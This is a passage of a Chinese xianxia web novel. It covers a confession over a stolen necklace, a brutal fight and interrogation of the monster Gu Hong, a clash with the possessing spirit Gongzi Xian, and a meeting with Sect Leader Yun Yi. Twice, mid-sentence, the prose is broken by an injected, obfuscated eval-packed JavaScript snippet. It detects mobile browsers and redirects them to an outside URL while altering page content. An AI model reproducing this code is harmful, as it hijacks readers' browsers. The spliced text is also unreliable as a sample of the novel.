早在飞舟之上,她就发现了云欢的不对劲。 云欢藏得委实不好,大抵是初犯,所以总是忍不住去摸颈间,像是确认东西还在不在。 尤其在黑焰提醒她“那小姑娘身上有东西”之后—— 除了师祖遗物,阿也想不出来还有什么能让它如此忌惮。 30. 秘密 云欢有个秘密—— 她撒了谎。 她跟着华宗的人,不是为了调查元脉一事,而是为了借机溜出云间派。 但不论是云绮师姐说的偷或是小烨说的拿,其实都不对,准确说来,应该是托付。 在云漪师姐派她去通传的那个夜晚,她走进竹屋,蹲在师祖榻前,听师祖神智不清地讲述过去那些故事,然后将项链托付给她。 “大,大人……还……秘密……” 云欢猜师祖是想让她替自己还项链给那位大人,并且保守这个秘密。 要是来的是云漪师姐就好了。看着师祖昏睡的面容,她握紧手上的项链,没有任何头绪。 大人究竟是谁?在哪里陨落?要怎么还? 她一无所知,直到听到石长老的话。 “不如在下留在此处,全力配合副掌门调查。少主们有要事在身,耽误不得,还望贵派网开一面。” 云欢灵机一动,或许可以先从阴山找起。 但要找什么?她不知道。 直到席子瑞抱着小烨回来的那天,她和凌栾给人清创、包扎和上药,忙碌了大半宿,头昏脑胀的,一时忘记净手,就去摸那条项链。 发现沾上血,她懊恼地去擦—— 然后那半节晶柱在夜色中亮起。 盈盈红光里,炽热的温度令人握不住。情急之下,她念出师祖曾教给她的咒语,目视虚无的火焰升空,将晶柱沾染的血迹烧尽。 再后来,她陆续试过自己的血、琅矜的血,甚至是混元兽的血。晶柱浸在赤红里,晶莹剔透,暗淡无光。 它只对华烨的血有反应。 是她的血特殊?还是……云欢想不明白,或许一路跟着她,最终就能找到答案。 但隔着重重人群,云欢对上她的目光,忽然很没有底气。 往日犯错,她会乖乖道歉,接受惩罚,但有时性子上来了,也要闹一闹,因为知道不管怎么样,师姐们都会宠她,师妹们还会逗她。 但小烨……会怎么做呢? 如果没有她,石长老就不会被留在云间派;有石长老在,说不定早就救出了卓小姐她们,地道也就不会坍塌,害她受了那么重的伤。 云欢很庆幸能遇上小烨,有了出世以来的第一个朋友。就算没有晶柱这一回事,也情愿如此。 但小烨……还会和她做朋友吗? 云欢不知道问题的答案,所以对上她的目光,一度很想逃走。她欺骗了人家,而师祖曾教导她,人做错了事,就要付出代价。 于是云欢咬咬牙,顺应她的招手过去。 漫长的十几步路里,云欢反复鼓起勇气,又反复泄气,最后深吸一口气,俯下身,等待她的判决。 “我知道。”她笑起来,“是你拿走了师祖遗物。” “好了好了,别哭了。”阿也无奈地拍拍云欢后背,察觉自己肩头又洇开一团湿意,开玩笑道,“知道我口渴了?” 云欢抽噎道:“你早就知道了还不跟我说!害我提心吊胆的,生怕你以后再也不理我了!” “谁还没几个秘密了?”阿也眨了下眼,打趣道,“我这不是替你打掩护嘛。” “你!”云欢作势去拍阿也肩头,见她不躲不避,要受下这一记,反倒收回手,瞪她一眼,“好了,说正事。”她擦去脸上泪痕,与凌栾对视一眼,点点头,让出位来。 凌栾递去水囊,压低声音,“席子瑞那一组失踪了,但命牌仍在。芳长老让我们按原定计划行事。” 老实说,她并不惊讶席子瑞会失踪,而是意外芳芪坚持按原计划各个击破,这代表原有的一组要拆分出来。 阿也环视一周,加上她,一共三十人—— 最适合拆分的就是她与华谏这一组。 她不用隐藏实力,且华谏有扇灵相护,自保无虞,而其余组要么实力互补,要么以强带弱。 “我们之中,唯你特殊,中了幻境,想必……”凌栾也有此意。 不等她说完,阿也冲凌栾点头,对上她担忧的眼神,听她踌躇道:“但你身体……” “无妨,方才一时不察才中了陷阱。”阿也干脆利落地起身,放声道:“多谢诸位关心,我已无恙。” 凌栾接着道:“按原定计划行事!” 有人提出疑惑,“好像……少了一组。” “席师兄先行一步,替我们探路。”凌栾道,“其余部分由华烨与华谏代替行事。其余人分散,寻找线索!” 席子瑞是如何失踪的? 头顶是沉积倒挂的石钟乳,脚下是同样灰白的材质,四面八方都被封死,甚至没有透气孔。 目光扫过环形壁面,忽然定格在居中的四方锥塔上,塔尖的骷髅头骨的双眼里有两点绿光微闪,透着森森鬼气。 与其它不同,这颗头骨处于唯一能俯瞰整个岩洞的位置,边缘被青苔的汁液染出一片新鲜的绿色——说明刚被人移动过不久。 也就是说,有人拉她入幻境,吸引大家注意,然后席子瑞借机离开?还是说,这只是个诱饵? 阿也眯起眼,一试便知。她凑近凌栾,低声道,“那里有异样,待会我先试试。” “不行。”凌栾否决,“我来试。” “若真有危险,你还得顾着云欢。”阿也摇头,“信我,我不一定能解决,但至少来去自如。” “我……”对上她胸有成竹的神色,凌栾还是动摇了,微微颔首,“那便助你一臂之力。”她在那座塔前站定,扬声道:“集合!二人一组,站在我身后!” 弟子们立刻行动,回归原来的小组,在塔前列成一队,以凌栾为首。 “等等。”差点忘了还有一个。阿也走向角落的华谏,余光瞥见他手背上的瘢痕,一愣,拍脸的力度下意识放轻了,“师兄?华谏?” “唔——”华谏睁开眼,模模糊糊见到人影,一把抓住她的手,待意识回笼后立即松开,改为扶着颈后,别过脸,“你……云欢下手可真够重的。” “关心则乱。”阿也替云欢辩解一句,补充道,“计划有变,我与你分开,先行攻塔。” “我攻它。”她指向正中的那一座,头骨眼中绿光闪闪——一看就是块难啃的骨头。 华谏皱眉,“不如让我……”脑海里忽地闪过她大杀四方的模样,他自知不如,立刻闭嘴。 不容他伤春悲秋,阿也拉起华谏,推向那座塔,“快点,大家都等着呢。” 华谏瞪她一眼,在队尾站好,仔细抚平衣上的褶皱,努力恢复自己往日的形象。 “师姐,一定要平安归来。”桃夭眼巴巴道。 “当然。”阿也笑道,抚过腰间绣着平安二字的护身符。 “小烨,别忘了芙蓉。”云环叮嘱道。 “把东西藏好。”与云欢擦肩而过的刹那,阿也低声道,随即越过凌栾,站在队首,迎面对上那颗头骨,绿光闪烁,仿佛有人正借此窥视这一方天地。 “集阵——” 凌栾率先抬起手,赤练四处游走,仿佛一座柔软的桥梁,将众人联结。各色元力倾泻而出,在空中交织汇聚,仿佛彩霞拥起一轮满月,献给那缕白色元力。 充沛的元力灌入经脉,充盈丹田,令骨血发热,仿佛有使不完的力气。 “动手!” 阿也抡起臂膀,一拳砸碎头骨。 一声脆响,白色的骨屑如柳絮飞起,洋洋洒洒。她脚下骤然一空,掉入漆黑的漩涡,好一阵天旋地转,让人分不清东西南北。 “噗通!” 猩红扑面,她闭上双眼,被温热裹挟着下坠,水流拂过脸颊,黏稠似胶。 再熟悉不过的感觉,尤其在脚下踩到圆滑的硬物之后,这里是——血池! 阿也蹬地起身,跃出水面,一把抹去脸上水迹,睁开眼。 红水浩浩汤汤,拨开水面的数十件黑衣,仿佛林间溪水送来泛黄的落叶。顺着黑衣看去,一座……肉山坐在池中,由数不清的触手缠绕而成,像个打结的线团。 接连几个跳跃,阿也落在东南角的石柱上。这仅存的一根石柱被打碎了半边,连黑色纹路也被红水侵蚀殆尽,想来阵法已然失效。 动静引起了肉山的注意。它开始蠕动,触手钻进钻出,泛着鲜嫩的肉色,好似在尸身繁殖的蛆虫,但因身躯太过庞大,迟缓地移动着,无法像蜈蚣那样驱使乱足整齐行进。 触手拨开乱糟糟的头发,一张放大数倍的脸转了出来,是古红。 他正在咀嚼,脸皮撑得鼓鼓囊囊。少顷,仿佛嗑瓜子般吐出亮晶晶的东西,沉水后又幽幽浮起,是一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239291|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色面具。 “哦?你把白一吃掉了?”阿也挑眉,“味道如何?” 尖利的声音响起,仿佛用指甲刮擦金铁。“好吃。”古红舒服得仰起脸,张嘴露出肥厚的舌头,吊在外面,还挂着血淋淋的汁水,“真好吃。” “好不好吃我不知道。”阿也点评道,“但你这样真的很丑。” 似是想起这声音的主人是谁,那双布满红血丝的眼睛滴溜一转,死死盯住她,仔细辨认着,忽然瞪大了。“是你!”古红尖声道,“你还没死?” 阿也含笑点头,收起外袍,露出贴身甲胄,每一道笔直的线条里藏着熠熠银光,极尽锋锐。 怎么会?怎么会!古红眼中闪过惧怕,明明他都已经炼化胎血,动用禁术,变成这副人不人鬼不鬼的样子,她怎么还没死?! “你在怕我?”阿也眨了下眼,“要是你……” “……放我一条生路?”古红下意识接话。 “做什么美梦呢?”阿也嗤笑一声,抽出袖剑,“我来这里,当然是找你算账了。”她踩着石柱起跳,每一次落地都以黑衣为支点,在下沉前再度跃起,好似飞鸿踏雪,冲向这座肉山,杀意凛然。 两柄袖剑反向并成一字,跟随手腕舞出完满的圆,将扑面而来的触手切得稀碎,偶有逃脱者,立刻被补上的飞刀斩断。 残肢落入红水,溅起扑通水花。涟漪荡漾,扭曲了她瞳中艳丽的赤色。 “唰——” 在踏上最后一件黑衣的刹那,一根拳头粗细的触手冲出水面,缠上她右脚脚踝,将整个人倒吊起来,拼命摇晃,像要从空落落的钱袋里倒出金山银山。 银光悉数掉入水中,碰撞时发出清凌凌的声响,仿佛被惊动的风铎。甲胄恢复原本的暗色,而主人紧闭双眼,仿佛昏死过去。 确保她身上空无一物后,古红得意大笑,控制触手迅速将人拉近,张开嘴,露出獠牙。 眼看舌头快要舔上倒垂的鬓发,腥臭味扑鼻。阿也猛地睁眼,白色元力覆上五指关节,屈肘借力,一拳捣进古红嘴里,打断半排牙齿。 “啊——”惨叫声中,触手齐齐抽搐起来。 脚踝上的触手随之松懈。阿也弓腰发力,抻开右手五指,掌心早已割开的伤痕泌出更多鲜血,燃烧出虚无的火焰。 一把抓住触手,阿也听见比刚才更惨烈的尖叫声。 触手顿时缩回,阿也翻身落地,轻巧地避开偷袭,一脚踩在古红头上,左手攥住他的头发,像是勒住马匹的缰绳,右手握住一团火焰抵在他颈间,熏出一片焦黑。 “说!”阿也拉起手中头发,逼他仰面,“你们是不是在找那块石头?” 当时古红找上门,除却她伪造的贫困家世,更关键的是她身上的华宗令牌,证据就是那张纯银面具——他们是为神石而来。 令牌与她相同的华谏也因此才被抓去受刑,说不定还牵连了甘棠与凌栾。 以及信上那枚忍冬印戳……阿也神色骤冷,就算华重楼和往生教有勾连,也得先拷问古红,弄清来龙去脉。 古红试图躲避,奈何一动,头皮被扯得近乎撕裂,而她手上烈焰更是散发出令人畏惧的威压。他放弃挣扎,一副死猪不怕开水烫的架势,恨恨道:“我死也不会告诉你!” “哦?”阿也咧嘴一笑,松开他的头发,改为轻轻抚摸他的脸颊,用华烨温柔的语气问他,“真的死也不肯说?” 不知为何,她这样古红反而更加害怕了。心砰砰跳起来,快要跳出嗓子眼。他下意识咽了口唾沫,但咬紧牙关,决心一句话都不说。 左手一路向上游弋,阿也叹了口气,忽然间曲起五指,将他的左眼抠了出来! 半边视野骤然塌陷。一瞬间的茫然后,古红在剧痛中痉挛,在剩下的另外半边光亮里看见那只血淋淋的手缓缓摊开五指,展示自己的战利品。 “你……”古红嘶声道。不等他说完,五指骤然合拢。伴随微不可察的“啪唧”一声,她徒手捏爆了那颗圆润的球体,脓液顺着指缝滴滴答答。 与此同时,微黄的□□稀稀拉拉地流出来,一股腥臊。 阿也皱眉,在他身上找了块还算干净的地方擦去左手脏污,不耐烦道:“说!” “我说!”古红声嘶力竭地叫起来,“那石头是安排好的!” 31. 安排 安排好的?阿也冷声道,“继续。” “他让我们向所有拍卖行都送了那种石头,说不管是谁,只要有人买就抓起来,不惜,不惜一切代价。”古红瑟缩道。 寒意窜上脊背,背后传来一声冷笑。阿也猛地回头,只见一片虚空。她脸色阴沉:“还有谁买了?” 古红咽下一口唾沫,喉结滚动,擦过她虎口的茧。他不情不愿地回答,“只,只有你买了。” 阿也一怔,五指下意识松开了,公子闲是以神石为诱饵……在抓她?还是在抓像她一样的鬼? “卓姑娘不过是小姐的替代品罢了。”电光石火间,公子闲的话在耳畔响起,头隐隐作痛起来。 以前的她认识公子闲? 额角一抽一抽,仿佛有什么在往外钻。阿也只得撇开这个念头,继续扼住古红喉头,“说!你们的目的是什么?” “是……天……啊!” 黑色符咒钻出他的双眼,镇在眉心的尖角上,仿佛某种不容触犯的禁忌。古红脸色惨白,触手失去控制,胡乱地抽动,“我不能说,不能说!” “说!”阿也收紧左手,掐住他的喉管,右手的火焰贴面,燎黑他的脸皮,烫卷他的眉睫。 古红喘不过气,几近窒息,翻起白眼,“天……天……” 即将说出答案的瞬间,一道黑光不知从何处激射而出,擦过阿也腰侧,洞穿古红眉心。 他的头一歪,数不清的触手无力垂落,砸出大团水花。符咒顿时溃散,化作无边黑气,将肉山缓缓包围。 避免被波及,阿也迅速返回东南角的石柱,目视黑气同肉山一同消散,红水缓慢退去,露出池底散乱的白骨。 移开右手,腰侧只是轻微的擦伤,不再渗血,也没有被黑气沾染,而顺着来时的方向看去,混乱堆积的头骨中,那副黑色面具尤为显眼。 盯久了,阿也蓦然生出一种错觉,仿佛正有人通过那副面具镂空的双眼,注视她。 一如在石厅之中,有人借着塔尖的头骨,窥视她的一举一动。 冷笑一声,阿也沿路拾起暗器,一一插进甲胄的暗槽,再披上外袍,最后举起袖剑,一脚踩住面具,剑尖对准面具的双眼,猛地发力。 “咔。”面具被劈成两半,一股黑烟幽幽升起,在半空中拧成一股,向门外逃窜。 这是在给她指路?阿也眯起眼,快步跟上,见黑烟钻出缝隙,抬脚、旋身、踹开石门,一气呵成。 “轰——” 扑面而来的尘雾里,一身黑袍的甘棠静候门旁,对上冷淡的视线,忽然笑了起来,好像已经等她了很久。 “师姐!你看那里!” 云欢率先察觉到异样,拉过正在探查石碑的凌栾,指向环形壁面。 壁面上剩余的十五颗头骨齐齐碎裂,落了一地灰白齑粉。随后十五道竖线自上而下地劈开十五座四方锥塔,露出一线漆黑,缓缓扩大,形成一人高的洞口。 “师姐成功了!”桃夭兴奋道,带起一阵欢呼声。 “冷静。”凌栾喝止,上前查看,洞内黑黢黢的,不知通向何处,有潮湿的霉味飘出来。她一抬手,“去。” 赤练应声飞起,勾住洞顶石钟乳,掰断一节,丢进其中。碰撞声和滚动的骨碌声反复回荡,半炷香后才慢慢淡去。 暂未试探出危险,凌栾调动元力,点亮赤练,小心翼翼伸入洞中。微光照亮了墙上粗劣的凿痕和大团霉菌,直到赤练快消失在视野,仍然没有抵达尽头,凌栾只得将其收回。 是被人为开凿出来的一条地道,长度至少有一里,看霉迹,不知密闭了多少年。凌栾作出判断,盯紧被阿也打碎头骨的那座塔,唯独它没有任何反应,像被关上的一扇门。 是她成功了还是……凌栾看向云欢,后者微不可察地摇了摇头,代表并蒂芙蓉没有异动,大概人也安然无恙。 那这就是触发破阵的机关了,事不宜迟。凌栾下定决心,召集弟子按入门时间在地道前列队,待到队尾的华谏时,犹豫一下,将他与自己调换顺序,排在先前用赤练测过的地道前。 “你……”华谏刚想拒绝,兀地想起此前拖累阿也的事来,轻哼一声,不情愿地换了地方。 “每组间隔一刻钟进去!”凌栾扬声道,“不可冒进!若有异常,立即返回!” “是!”众人齐声道。 第一组弟子互相对视一眼,前后间距半步进了地道,不到一刻钟,连脚步的回声也听不见了。 耐心等到一刻钟,没有异样。凌栾方道,“第二组!”第二组轮到桃夭和年长的女弟子。 桃夭的年纪与华烨相仿,属于最小的那批弟子,凌栾不由叮嘱道,“务必小心。” “放心吧师姐!”桃夭拍拍胸脯,“我肯定不会拖后腿的!”说罢,她猫着腰钻进洞口,步伐轻巧,灵活得像只在枝头间跳来跳去的松鼠。 年长的女弟子不紧不慢地跟上去,元力加身,背上大刀泛起森森冷光,不容丝毫轻蔑。 轮到华谏时,不等凌栾开口,他先一步摆摆手,“得了得了,少唠叨两句,省点力气。”趁人没反应过来,他一个低头,迈着小碎步冲进地道。 陆陆续续地,十四组弟子进了地道。 凌栾松了口气,牵引赤练缠上云欢腰间,“我先进去。”云欢抓住赤练,点点头。 率先迈进洞口,凌栾踢开脚下碍事的碎石,继续向里,霉迹越发肆意,盛开出大团的青紫。 直觉不是什么好东西,凌栾压低声音,“别碰。” 云欢小声应道,“好。”心跳却蓦地加快了。 刚刚……是错觉吗?师姐说话的时候,那团霉迹好像……好像动了一下?云欢忍不住回头去看那处角落,确认仍是一团青紫,没有移动过的迹象,这才放下心来,安慰自己不要太紧张。 待二人走远后,角落里那团霉迹忽地散开,沿着凿痕汇入其他青紫之中,无声无息。 不知走了多久,凌栾忽然闻到湿热的潮气,带着似有若无的血味,于是骤然警惕,放慢脚步。 再过三尺,地道变得开阔。壁上的霉迹被奇形怪状的图画代替,时而是花草繁盛,时而是百兽相争,到最后,统统化为扭曲的线条,指向更深处。 拐过弯,视野骤然开朗,凌栾一时怔住。 空荡荡的石厅里,地面铺满干涸的血痕,主人斜倚在王座之上,背后是巨大的四方锥塔的壁画。 “是你啊。”他轻声说。 见凌栾呆住不动,云欢谨慎地探出头,见到来人,顿时睁大双眼,“席师兄?!” 视线扫过凌栾身后的云欢,席子瑞敛起神色,起身,一步步走下台阶。 凌栾迅速回神,将云欢护在身后,沉声道,“景昀在哪里?”景昀正是与席子瑞组队的少年。 “他不听话,被我关起来了。”席子瑞见她扬起赤练对准自己,停下脚步,解释道,“我并未伤他。” “你……你到底要做什么?华宗培养你多年,你却在关键时刻背叛大家?”凌栾死死盯住他,“席、子、瑞?你说啊!华宗有哪里对不起你?” 在她一句接一句的质问里,席子瑞的眼神忽而迷茫了,鬓发在黑白间迅速切换,好似走火入魔。 “凌……”他朝凌栾伸出左手,指尖颤抖,像是在强行忍受痛楚,奢求一个解救,却又戛然而止。 凌栾惊疑不定,“你……” 席子瑞张了张口,面色发白,冷汗涔涔,“凌……栾……”他一顿,再吐出的却是冰冷的字句,“不听话,就会死。” 黑色迅速退去,两鬓重回雪白。 “见笑了。”席子瑞抬起右手,轻抚左手,拭去手背并不存在的灰尘,微微笑起来,“他对你的执念很深。” “你不是席子瑞!”凌栾哑着嗓子,像草原上失偶的孤狼,对月发出咆哮,“你是谁?!” 元力激荡,赤练绷成一线,主动发起攻击,带着滔天愤怒,在空中挥出道道残影,舞出尖锐破空声。 席子瑞一一躲过赤练的穿刺,堪称闲庭信步,见凌栾非但不退,反而更进一步,叫赤练亮起红光,叹了口气。 一个扬手,他将赤练牢牢抓在手心。袖袍无风自动,黑气倾泻而出,顺着赤练缠上凌栾四肢,将人高高吊起。 元力被封,赤练萎靡地耷拉在腰间。凌栾刚要叱骂,才吐出一个“你”字,被黑色的符咒噤声。 “睡会儿罢。”席子瑞扬手,黑气如群蚁爬上她的身体,寻到前关穴的位置,一头扎了进去。 凌栾的身体瞬间绷直,陡然疲软。 “师姐!”云欢大骇,立刻去取颈间项链,没等碰到领口,就被一道黑气禁锢,动弹不得。 另一道黑气钻入她的领口,阴冷的气息如蛇绕过脖颈,逼得云欢呼吸不畅,面色惨白,下一刹那,又被汹涌的红光击溃。 “原来在这儿。”席子瑞微微颔首,“多有冒犯。”说罢,径直上前,朝云欢领口伸出手。 “轰——” 巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239292|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的四方锥□□塌了,碎石四溅,仿佛被捅穿的一张薄纸。灰尘滚滚而来,仿佛漆黑的尘暴席卷石厅,两道剑光杀了出来。 黑气凝实成剑。席子瑞回身,带起一道黑色锋芒,扛下临空一击。剑刃擦出火花,照亮了尘暴之中的进攻者——正是阿也。 她猛地屈肘,压得他躬身泄劲,又突然弃剑,朝他面中打出一拳。 岂料他同时收力,挥臂抬手,以柔克刚,稳稳抓住阿也的拳头,微微一笑,再发力拉近。 半寸之距,阿也稳住重心,凌空折腰,弯成不可思议的弧度,借势抽出鞭腿,逼他撒手,再倒退三步拉开距离,袖剑横亘胸前,面色警惕。 一个照面,她就试出了席子瑞的实力。看似是自己占据上风,实际上后者只是被动防御,并不出招。 更诡异的是,席子瑞似乎很熟悉她的招式,猜到她会弃剑给拳,以及临空飞腿——真要打起来,恐怕难分生死。 当务之急,先带走凌栾和云欢。阿也微微俯身,如野豹蓄力,从甲胄的暗槽里摸出数十飞刀,藏进手心。 “你来了。”席子瑞温声道。 “怎么不换面皮了?”阿也挑眉,“公子闲?” 她此前只是觉得席子瑞行为诡异,不曾想到寄生灵体上去,等听到三人对话,还有什么想不通的? 名为公子闲的灵体不仅强占了活人的躯壳,更是压制原主的意识,借此作祟。 公子闲抬手摸过自己的眉眼,无奈道,“我以为你会喜欢这副皮相。” “我更喜欢你原来那张脸。”阿也嗤笑,却见公子闲一愣,抓住机会当即出手。 元力笼罩锋刃,剑芒映亮侧脸,如用烧得发红的刀刃切割坚冰,在墙壁上留下深深的刻痕,灰尘和碎石随风而动,盖住地面的血迹。 公子闲依旧选择避开她的锋芒,并不正面迎战,而是含笑防御,且退且走,仿佛在逗弄笼中的金丝雀。 阿也打出几分火气,猛地矮身,手腕翻转,剑尖切入死角,瞬间发力,将黑剑挑开,再直刺其面。 黑剑飞起,消融成烟,遮蔽视线。公子闲借机避开这一剑,极速后退,脚步在地面拖出两道暗痕,再一挥袖,黑气泼洒而出,再度凝实为一把长剑。 见距离足够,她立刻回身,藏在袖中的手探出,“带她们走!”飞刀尖啸而出,沾染了手心的血,轻而易举地切断黑气。 空中荡起阵阵涟漪,隐匿已久的甘棠显出身形。她一把抱住落下的凌栾,头也不回地跑进地道。云欢犹豫一瞬,一跺脚,跟上甘棠的步伐。 凌栾一走,黑色卷土重来,侵染鬓发。 公子闲停下动作,面色时白时红,蹙眉后又自己抚平,转而对阿也温和一笑,“暂且别过。”说罢便化作一缕黑气散去。 直到黑气散尽了,阿也方放下袖剑,深呼吸几口,平复心跳。先是幻境与梦魇,打完古红又战公子闲,一连串下来,差点又玩脱。 还好公子闲先她一步撤退,看他的样子,一时半会不会再来。阿也瞥了眼三人离去的地道,估计甘棠带着她们不会有事。 转头看向来时打破的那面墙,墙角那扇暗门摇摇欲坠,露出一线光亮。 调整好状态。阿也踹开暗门,走进通道。这条路似乎常有人走动,每隔十步,路过壁上镶嵌的青铜灯座时,侧面春夏秋冬图里忍冬的每一处细节都在明亮的烛光里清晰可见。 如果公子闲能强占席子瑞的身体,那么使用忍冬印章在来往书信上盖戳也并非难事。 阿也忍不住伸手抚过灯座侧面的雕纹,冰冷锐利的触感令她想起测赋那日华重楼的目光。 但华重楼在其中是什么角色? 他知道席子瑞并非其人吗?以及自己的女儿其实也……阿也嗅到花草的清香,听到隐隐水声,不再去想,跨步迈出洞口。 夜幕浑浊,而鸟羽与天一色。三面被古树环拥,镜湖在眼前重现一角,被风吹起的涟漪在月色中闪着皎皎银光。 这是出阵的暗道?阿也皱眉,视线扫过四周,忽而定格。 听见脚步声顿住,树下的人转过身,头戴幂蓠,垂下的白纱遮盖全身,本不辨男女,但月光透过朦胧轻纱,勾勒出曼妙身形。 二人对视,良久,没有人开口。 有风而来,树影婆娑,摇落一地的水银珠。 阿也忽然笑起来。她竖起小指,露出那枚乌金尾戒,在月光里,闪烁着轻纱无法掩盖的璀璨光泽。 “初次见面,云弈掌门。” 32. 阵眼 “不愧是绮儿选中的人。”树下的女子淡淡道。 果然,云绮给她尾戒就没安好心。阿也腹诽,明明云弈就是引路人背后之人,她还装模作样地强留石磊一大战力,想来是早有准备。 “初次见面,在下云弈。” 云弈摘下幂蓠。白纱轻柔地拂过她的右脸,是与云绮的艳丽迥然不同的硬朗,剑眉星目,直到揭露另一半脸,脸颊被交错的爪痕撕碎,被皮肉强行粘连,尤其为怖。 和云澄颈上的伤一模一样。阿也甚至能猜到是出自那个被古红吃掉的可怜白一。 见她面无波澜,云弈赞赏道:“这么多年来,我还是第一次见有其他人走出此道。” 阿也挑眉,“掌门费尽心思引我来此,难道只为此意?” 云弈隐去笑容,下颌线绷紧了,声音沉下来,硬如磐石,像是要砸破这一湖平静的水面,“想必你已经见过罪魁祸首了。” “请指教。” “陨星坠落,极境洞开,穆州因此覆灭,造成如今混元兽横行之局面,但归根结底,无论是陨星抑或混元兽,那黑气才是造成这一切的根源。” 林中有风呼啸而过,悠悠卷起落叶,送往视野的尽头。 阿也忽然想起不久之前,地平线上夕阳将坠,山脚下炊烟升起,席……哦不,公子闲站在余晖之中,欲言又止的表情。 原来一开始,他就揭晓了答案。 公子闲真的认识她,甚至……不只是认识。 他费尽心血引来陨星、制造极境、覆灭穆州,偏偏又附身席子瑞,潜进华宗——他到底想干什么? 疼痛再度发作,阿也一手抱住头,强迫自己继续深入。她直觉自己是知道的,但答案藏在雾气背后,隐隐约约,呼之欲出,却怎么也突破不了那层薄如蝉翼的屏障。 “你能杀他。” 这一句仿佛惊雷降世,脑海里一下空了。阿也抬起头,在云弈眼里见到了面色苍白、冷汗涔涔的自己。 没有任何质疑,阿也知道云弈说的是对的。 因为另一只手早在不知不觉间扣紧袖剑,哪怕她早已忘记公子闲是谁,但这一刻,从未有过的、强烈的杀意在心头翻涌,几乎化为实质,想将天地倾覆。 强行放松紧绷的身体,阿也调匀吐息,微微颔首,“请指教。” 拨开层层枝叶,阿也跟随云弈绕过镜湖一角,视野豁然开阔,对岸的大旗猎猎作响,忍冬迎风招展,而原本十六朵烈焰熄灭小半,人为的满月光泽黯淡,不及天边的弦月半分。 意识到烈焰熄灭的含义,阿也忍不住叹了口气。 这一声叹息引得身侧的云弈转头看来,她直白道:“你与我想象的不同。” “什么不同?”阿也问,意识到什么,挑起半边眉来,“怎么?以为我是杀人不眨眼的魔头?” “那蛟龙上的叉,是我添的。”云弈忽然道,“你暴虐成性,手段残忍。” 这是指她看见了自己屠戮那十二人的一幕?阿也反唇相讥,“难不成你指望一只不沾荤腥的小白兔替你杀人?” 云弈仔细审视她,像在考量此人是否值得信任,而阿也毫不畏惧地与之对视。 片刻后,仿佛达成某种共识,云弈脸上的戒备退去,露出欣赏之意,坦然道,“还有什么?想问便问。” 和聪明人说话就是爽快。阿也盯住她手中幂蓠,“云间派封锁师祖辞世的消息,而你掩藏身形……难道是以师祖的身份待在这极境之中?” “不错。我在此以师祖之名牵制往生教。”云弈道,“本想替师祖安顿晚年,但……”未尽的语意化作一声长叹。 难怪云绮要强留石磊,避免曾见过师祖的他识出破绽。阿也接着道:“那甘棠师姐……” 云弈脚步一顿,再度抬起,“是个聪明人,但太冲动了,贸然前去救人,结果死于白一之手。” “白一?”阿也想起那张被自己打碎的黑色面具,见云弈看来,随口道,“他被古红吃掉了。” “甘棠和他一样,都是尸傀。”云弈平静道,“但她是我学那人手法炮制而成的第一个、也将是唯一一个成品。” 白一竟是如此来历……尸傀之术,真是让人死了也不得安生。她低声问,“甘棠师姐是自愿的么?” “我找到她的时候,她还有一口气。”云弈慢慢道,“她说她不甘心。” 视线划过云弈刚毅的侧脸,停留在她青筋暴跳的额角上,阿也慢慢道:“掌门……也不甘心?” “如何能甘心?”云弈反问,“我身为一派掌门,在此地东躲西藏,若不是为了牵制往生教,当真以为我旁观她人受难,能无动于衷?” “我云间派为天地立心,为生民立命,何错之有?可天道不公,降下灾祸,我眼睁睁看着姐妹一个个离我而去……如何能甘心!” 说到最后,云弈咬牙切齿,捂住左脸凹凸不平的疤痕,足有半晌,终于停下脚步,缓声道,“此处便是真正的阵眼。” 她双手捏诀,送出一团莹莹绿光。光团随风飘向湖心,缓慢绽放,化作三叶七瓣的青兰模样。 湖水翻涌,汇聚成一座山峦,又从中一分为二,让出一条路来。月光照亮了湖底鲜红的淤泥,发黄的碎骨与破碎的织物纠成一团。 “接下来的路,只能你一个人走了。” 强行打开通道显然耗尽心神。云弈气息渐虚,额头的汗一颗颗滚过伤疤,仿佛未尽的眼泪。 阿也忽然道:“我会杀了他。” 她很少许诺什么,但对上云弈的双眼,兀地想起那天在铁笼之中,驭菱下跪求她救卓清歌,磕破了头脸,血流下来,流进执拗的眼里。 其实她不懂那是什么,但被那种眼神注视着,却觉得自己仿佛一簇将熄的火种,在濒亡之际被投入一把干柴,于是再度熊熊燃烧起来,好叫所有人都瞧见这死而复生的烈焰。 不过是初次见面,云弈却无端相信这人说的出,就做的到。她含笑应允,“去吧。” 阿也点点头,转身踏上水道,头也不回地走进湖心。 随着脚步的深入,水道由宽变窄,逐渐逼仄,以至于她不得不踮起脚尖,侧身通过。水温逐渐升高,两侧的水墙由静转沸,冒出蟹眼大小的气泡。 “咕噜咕噜——” 擦身而过的瞬间,壁中水泡被扰动,接连炸裂,热气燎过她的眼睫,一阵酸痒。 下意识揉了揉眼,再睁开时看见水道尽头那一扇拱形水门,门自动而开,露出黑漆漆的内里。 一朵浪花冒出来,不容分说地驮着她奔向水门。她径直推门而入,像走进一团棉絮。 “哗啦——” 身后分开的水墙登时合二为一,如来时那般风平浪静,水门欣然合上,然眼前怪异的景象令阿也怔在原地。 此时此刻,天地翻转。 镜湖在头顶高悬,涟漪荡漾仿佛飘渺云波,而圆月在脚下仰卧,仿佛一座漂浮在海面上的孤岛。 